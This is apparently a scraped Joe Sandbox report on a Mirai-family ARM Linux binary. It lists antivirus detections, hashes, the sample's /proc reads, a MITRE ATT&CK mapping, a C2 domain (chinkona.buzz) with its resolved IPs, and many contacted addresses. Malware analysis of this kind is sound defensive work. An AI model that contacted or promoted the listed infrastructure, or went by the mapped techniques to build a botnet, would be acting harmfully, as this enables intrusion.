Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/3/cmdline	Jump to behavior

Source: peV4n8UypQ.elf, 6232.1.00005620a5ff5000.00005620a6123000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: peV4n8UypQ.elf, 6232.1.00007ffec04b5000.00007ffec04d6000.rw-.sdmp	Binary or memory string: :x86_64/usr/bin/qemu-arm/tmp/peV4n8UypQ.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/peV4n8UypQ.elf
Source: peV4n8UypQ.elf, 6232.1.00005620a5ff5000.00005620a6123000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: peV4n8UypQ.elf, 6232.1.00007ffec04b5000.00007ffec04d6000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
peV4n8UypQ.elf	59%	ReversingLabs	Linux.Trojan.Mirai
peV4n8UypQ.elf	54%	Virustotal		Browse
peV4n8UypQ.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	peV4n8UypQ.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	peV4n8UypQ.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
135.93.11.248	unknown	United States	10455	LUCENT-CIOUS	false
41.157.30.65	unknown	South Africa	37168	CELL-CZA	false
54.53.57.187	unknown	United States	14618	AMAZON-AESUS	false
84.235.13.218	unknown	Saudi Arabia	39386	STC-IGW-ASSA	false
141.163.202.66	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
195.237.41.68	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
121.4.98.102	unknown	China	7594	ONQ-AS-APOnQAU	false
49.41.243.2	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.142.174.196	unknown	Morocco	36903	MT-MPLSMA	false
130.29.222.124	unknown	United States	367	DNIC-ASBLK-00306-00371US	false
41.133.63.53	unknown	South Africa	10474	OPTINETZA	false
209.30.146.209	unknown	United States	7018	ATT-INTERNET4US	false
157.208.226.73	unknown	United States	12552	IPO-EUSE	false
189.60.38.36	unknown	Brazil	28573	CLAROSABR	false
41.35.82.73	unknown	Egypt	8452	TE-ASTE-ASEG	false
20.106.167.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.147.170.179	unknown	Croatia (LOCAL Name: Hrvatska)	2108	CARNET-ASJMarohnica510000ZagrebHR	false
104.96.16.6	unknown	United States	20940	AKAMAI-ASN1EU	false
157.252.160.102	unknown	United States	3592	TRINCOLL-ASUS	false
41.140.123.149	unknown	Morocco	36903	MT-MPLSMA	false
157.2.30.43	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
154.7.203.206	unknown	United States	174	COGENT-174US	false
31.59.81.106	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
156.146.251.179	unknown	United States	1448	UNITED-BROADBANDUS	false
195.179.35.62	unknown	Germany	6659	NEXINTO-DE	false
112.243.121.16	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.169.49.32	unknown	South Africa	36937	Neotel-ASZA	false
41.122.213.6	unknown	South Africa	16637	MTNNS-ASZA	false
197.43.51.143	unknown	Egypt	8452	TE-ASTE-ASEG	false
117.10.48.100	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.77.181.124	unknown	Algeria	36974	AFNET-ASCI	false
147.119.200.186	unknown	United Kingdom	10370	NORTHWEST-AIRLINESUS	false
49.213.55.242	unknown	unknown	10098	HENDERSON-HKTowngasTelecommunicationsFixedNetworkLtdetw	false
197.130.137.43	unknown	Morocco	6713	IAM-ASMA	false
157.157.40.85	unknown	Iceland	6677	ICENET-AS1IS	false
84.216.103.28	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
166.216.208.124	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
18.92.85.253	unknown	United States	3	MIT-GATEWAYSUS	false
4.21.66.149	unknown	United States	3356	LEVEL3US	false
41.105.231.107	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.221.180.244	unknown	South Africa	37356	O-TelZA	false
141.180.11.81	unknown	United States	197921	HBTFJO	false
157.6.53.121	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.199.114.216	unknown	United States	3356	LEVEL3US	false
41.172.168.202	unknown	South Africa	36937	Neotel-ASZA	false
104.158.83.106	unknown	Canada	54198	VIANETCA	false
197.143.201.44	unknown	Algeria	36891	ICOSNET-ASDZ	false
181.19.238.202	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
61.25.66.217	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
193.50.179.164	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
197.55.123.232	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.166.142.53	unknown	Egypt	24863	LINKdotNET-ASEG	false
183.32.172.191	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
200.116.42.10	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
107.255.69.68	unknown	United States	7018	ATT-INTERNET4US	false
41.140.123.122	unknown	Morocco	36903	MT-MPLSMA	false
41.87.198.64	unknown	South Africa	37315	CipherWaveZA	false
184.63.30.60	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
154.136.91.87	unknown	Egypt	37069	MOBINILEG	false
94.70.69.82	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
23.18.52.43	unknown	United States	25877	OPEN-MOBILE-PUERTO-RICOUS	false
199.60.217.227	unknown	Canada	11105	SFU-ASCA	false
37.113.197.153	unknown	Russian Federation	57044	BRYANSK-ASRU	false
218.149.31.167	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
221.208.141.67	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.164.175.168	unknown	Egypt	24863	LINKdotNET-ASEG	false
161.145.179.12	unknown	United States	263740	CorporacionLaceibanetsocietyHN	false
108.172.106.23	unknown	Canada	852	ASN852CA	false
197.91.228.130	unknown	South Africa	10474	OPTINETZA	false
4.74.199.215	unknown	United States	3356	LEVEL3US	false
158.86.240.75	unknown	United States	20379	NET-BAKERUS	false
41.60.37.45	unknown	Mauritius	30969	ZOL-ASGB	false
36.21.116.106	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
117.119.20.232	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
197.31.187.162	unknown	Tunisia	37492	ORANGE-TN	false
221.236.221.201	unknown	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
157.121.153.108	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
81.197.146.68	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
57.31.92.178	unknown	Belgium	2686	ATGS-MMD-ASUS	false
157.204.30.231	unknown	United States	54216	GORE-NETWORKUS	false
157.162.207.136	unknown	Germany	22192	SSHENETUS	false
197.82.246.62	unknown	South Africa	10474	OPTINETZA	false
134.2.145.125	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
41.77.181.167	unknown	Algeria	36974	AFNET-ASCI	false
24.166.104.201	unknown	United States	10796	TWC-10796-MIDWESTUS	false
48.149.104.1	unknown	United States	2686	ATGS-MMD-ASUS	false
197.123.112.45	unknown	Egypt	36992	ETISALAT-MISREG	false
125.147.226.251	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
129.29.226.86	unknown	United States	1453	DNIC-ASBLK-01451-01456US	false
44.107.7.124	unknown	United States	7377	UCSDUS	false
197.69.60.13	unknown	South Africa	16637	MTNNS-ASZA	false
80.227.46.170	unknown	United Arab Emirates	15802	DU-AS1AE	false
111.43.58.69	unknown	China	132525	CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp	false
2.10.8.58	unknown	France	3215	FranceTelecom-OrangeFR	false
197.211.66.82	unknown	South Africa	29918	IMPOL-ASNZA	false
197.12.94.2	unknown	Tunisia	37703	ATLAXTN	false
116.204.165.55	unknown	Pakistan	23607	LEONET-AS-APLeoNetPvtLtdPK	false
73.213.84.139	unknown	United States	7922	COMCAST-7922US	false
41.77.181.179	unknown	Algeria	36974	AFNET-ASCI	false
155.229.73.35	unknown	United States	18566	MEGAPATH5-US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
135.93.11.248	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse
135.93.11.248	Hilix.arm7	Get hash	malicious	Mirai	Browse
41.157.30.65	ECPX7wwZh6.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ak.arm7-20220923-2311.elf	Get hash	malicious	Mirai	Browse
	j2aHL0kZPd	Get hash	malicious	Unknown	Browse
	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
84.235.13.218	jew.x86	Get hash	malicious	Mirai	Browse
121.4.98.102	rmnkT9nSav	Get hash	malicious	Unknown	Browse
121.4.98.102	mrKJwnhz2h	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chinkona.buzz	lkAU7FB3VY.elf	Get hash	malicious	Mirai	Browse	138.197.141.232
chinkona.buzz	lF9fL4G7uh.elf	Get hash	malicious	Mirai	Browse	193.42.33.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LUCENT-CIOUS	zYKmzRjmtw.elf	Get hash	malicious	Mirai, Moobot	Browse	135.234.107.91
	iEyB4NnJoA.elf	Get hash	malicious	Moobot	Browse	135.232.58.126
	lQ2J7JqsfM.elf	Get hash	malicious	Mirai, Moobot	Browse	135.111.211.104
	Lltm9nfneM.elf	Get hash	malicious	Mirai, Moobot	Browse	152.151.153.174
	TCKOnNwV84.elf	Get hash	malicious	Mirai, Moobot	Browse	135.254.20.199
	JqVcvWw1k3.elf	Get hash	malicious	Moobot	Browse	135.4.3.119
	mInf0gXVD3.elf	Get hash	malicious	Mirai	Browse	135.85.182.4
	K3FxQrWzHh.elf	Get hash	malicious	Mirai	Browse	135.233.33.9
	I0eWZ61ZRJ.elf	Get hash	malicious	Mirai	Browse	135.251.134.186
	lXdU2RjU25.elf	Get hash	malicious	Mirai	Browse	135.234.5.133
	mSs7O4H0YO.elf	Get hash	malicious	Mirai	Browse	135.232.82.40
	ZHQ3aipm6G.elf	Get hash	malicious	Mirai	Browse	135.115.9.133
	oCuJSvJN7o.elf	Get hash	malicious	Mirai, Moobot	Browse	135.242.159.109
	o8YVsZ3s65.elf	Get hash	malicious	Mirai, Moobot	Browse	135.232.58.164
	FYv143KmBp.elf	Get hash	malicious	Mirai, Moobot	Browse	135.222.165.157
	kpC3hp4NN3.elf	Get hash	malicious	Mirai, Moobot	Browse	135.233.90.49
	qh4GQXP96t.elf	Get hash	malicious	Mirai	Browse	135.5.125.149
	jKqk9FzBU7.elf	Get hash	malicious	Unknown	Browse	135.2.188.199
	t1goJyIkBx.elf	Get hash	malicious	Mirai	Browse	135.251.222.138
	Qg6WdGeq2y.elf	Get hash	malicious	Mirai	Browse	130.131.215.170
CELL-CZA	M23TbqpVNo.elf	Get hash	malicious	Mirai	Browse	197.175.223.219
	iz1eA0sNZW.elf	Get hash	malicious	Mirai	Browse	197.175.135.245
	29OZ1zIa15.elf	Get hash	malicious	Mirai	Browse	197.108.90.218
	SecuriteInfo.com.Heur.20230410182906389780882.elf	Get hash	malicious	Mirai	Browse	197.174.209.118
	SecuriteInfo.com.Linux.Siggen.9999.11400.10611.elf	Get hash	malicious	Mirai	Browse	41.51.234.143
	SecuriteInfo.com.Trojan.Linux.Generic.298368.13205.21547.elf	Get hash	malicious	Mirai	Browse	197.109.183.69
	SecuriteInfo.com.Gen.Variant.Trojan.Linux.Gafgyt.8.10515.19518.elf	Get hash	malicious	Mirai	Browse	197.171.252.5
	SecuriteInfo.com.Linux.Siggen.9999.17396.25244.elf	Get hash	malicious	Mirai	Browse	197.173.131.60
	eXKqvotUHQ.elf	Get hash	malicious	Mirai, Moobot	Browse	41.53.150.181
	k9fBkBGZNf.elf	Get hash	malicious	Mirai, Moobot	Browse	197.173.86.76
	H6vvundDoP.elf	Get hash	malicious	Mirai, Moobot	Browse	197.111.175.153
	nb8goZB2CP.elf	Get hash	malicious	Mirai, Moobot	Browse	197.168.76.225
	2H9CS3EOGd.elf	Get hash	malicious	Mirai, Moobot	Browse	41.55.86.131
	xvK58QIUk6.elf	Get hash	malicious	Mirai, Moobot	Browse	197.109.110.67
	xeyYW7Sk01.elf	Get hash	malicious	Mirai, Moobot	Browse	197.109.134.94
	29hgFPe8IR.elf	Get hash	malicious	Mirai, Moobot	Browse	197.109.183.53
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.51.157.84
	abcdb0fa4b8db0333367e9bda3ab68b8042.x86	Get hash	malicious	Mirai	Browse	41.157.30.68
	yagi.x86.elf	Get hash	malicious	Mirai	Browse	197.173.155.86
	w0iBC3u0H7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.109.134.47

Process:	/tmp/peV4n8UypQ.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.549406633112776
Encrypted:	false
SSDEEP:	6:uIgDFBFHVV/gY/V7DFBF+S/VjmsVot/VOArB/VH:4Fv8Rl
MD5:	552334519C342D19EF679FABBE0E3EE8
SHA1:	C5C7867097FF27C7AB4771FD34C87B5CEA6F00E9
SHA-256:	5856B477F38D00CEA4A76E01D9AABCD83277F48159A435469003E24323C443D2
SHA-512:	0E2EEAD57376D160961E38D3277CDDE74EFD214AE13A3E5F179F3DA85D96F11AA9C3AA69ECED2D3F3B5BFAAEC54B565D5F5DB095BF6AF2DB2119A8EF79D18FF9
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531606 /tmp/peV4n8UypQ.elf.1e000-1f000 rw-p 0000e000 fd:00 531606 /tmp/peV4n8UypQ.elf.1f000-20000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.040434818059962
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	peV4n8UypQ.elf
File size:	59168
MD5:	ad593eba8de68c84a2e4508a9266aab7
SHA1:	5a71f67984f194f9a6e103a6042d2d51c9b1df0d
SHA256:	07d6c241fe133480b10fd4e56681f22e4b938934833d7a2ed5bea7f6e6d196a6
SHA512:	3313147796e4079a1818b9686cef8320a9f3761274b26af19636aae2bb16ce01b3c834354c37bc34f9ef354e6d42980db6631598c4d1a8a305b843dd9f5fa39f
SSDEEP:	1536:46ofS/vExp2/8r7RNR8UlQ9ct5Tqlrm7FsaS1:jofSWrd/84QKbTB7F54
TLSH:	8A430795B8919A16C6E023BBFB2E00CD332563B8D2DF7207DD216F10778A81F1EA7655
File Content Preview:	.ELF...a..........(.........4...h.......4. ...(.........................................................<...........Q.td..................................-...L."....5..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report peV4n8UypQ.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.08F9yM (deleted)

/tmp/qemu-open.0GTlgL (deleted)

/tmp/qemu-open.0OBbVK (deleted)

/tmp/qemu-open.0SJzFI (deleted)

/tmp/qemu-open.0c5wVH (deleted)

/tmp/qemu-open.1DTk0K (deleted)

/tmp/qemu-open.1LJU9H (deleted)

/tmp/qemu-open.1OzQtH (deleted)

/tmp/qemu-open.1QrooJ (deleted)

/tmp/qemu-open.1vXxeJ (deleted)

/tmp/qemu-open.1yBkHH (deleted)

/tmp/qemu-open.23JHoI (deleted)

/tmp/qemu-open.27nanL (deleted)

/tmp/qemu-open.2BroHJ (deleted)

/tmp/qemu-open.2BuLQK (deleted)

/tmp/qemu-open.2NqOBL (deleted)

/tmp/qemu-open.2QApYJ (deleted)

/tmp/qemu-open.2dWkUI (deleted)

/tmp/qemu-open.2o1dNK (deleted)

/tmp/qemu-open.2swaWI (deleted)

/tmp/qemu-open.36y4gJ (deleted)

/tmp/qemu-open.39LwVI (deleted)

/tmp/qemu-open.3LQNtL (deleted)

/tmp/qemu-open.3ezuSH (deleted)

/tmp/qemu-open.3ivmMH (deleted)

/tmp/qemu-open.3kYxpL (deleted)

/tmp/qemu-open.3wYtcL (deleted)

Linux Analysis Report
peV4n8UypQ.elf

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xd750	0x0	0x6	AX	16
.fini	PROGBITS	0x15800	0xd800	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15814	0xd814	0xafc	0x0	0x2	A	4
.ctors	PROGBITS	0x1e314	0xe314	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1e31c	0xe31c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1e324	0xe324	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1e328	0xe328	0x1fc	0x0	0x3	WA	4
.bss	NOBITS	0x1e524	0xe524	0x32c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xe524	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xe310	0xe310	6.0714	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xe314	0x1e314	0x1e314	0x210	0x53c	2.3606	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 15, 2023 03:27:08.822571993 CEST	8.8.8.8	192.168.2.23	0x155b	No error (0)	chinkona.buzz	137.184.170.90	A (IP address)	IN (0x0001)	false
Apr 15, 2023 03:27:08.822571993 CEST	8.8.8.8	192.168.2.23	0x155b	No error (0)	chinkona.buzz	64.225.73.18	A (IP address)	IN (0x0001)	false
Apr 15, 2023 03:27:08.822571993 CEST	8.8.8.8	192.168.2.23	0x155b	No error (0)	chinkona.buzz	45.88.67.38	A (IP address)	IN (0x0001)	false

Start time:	03:27:07
Start date:	15/04/2023
Path:	/tmp/peV4n8UypQ.elf
Arguments:	/tmp/peV4n8UypQ.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre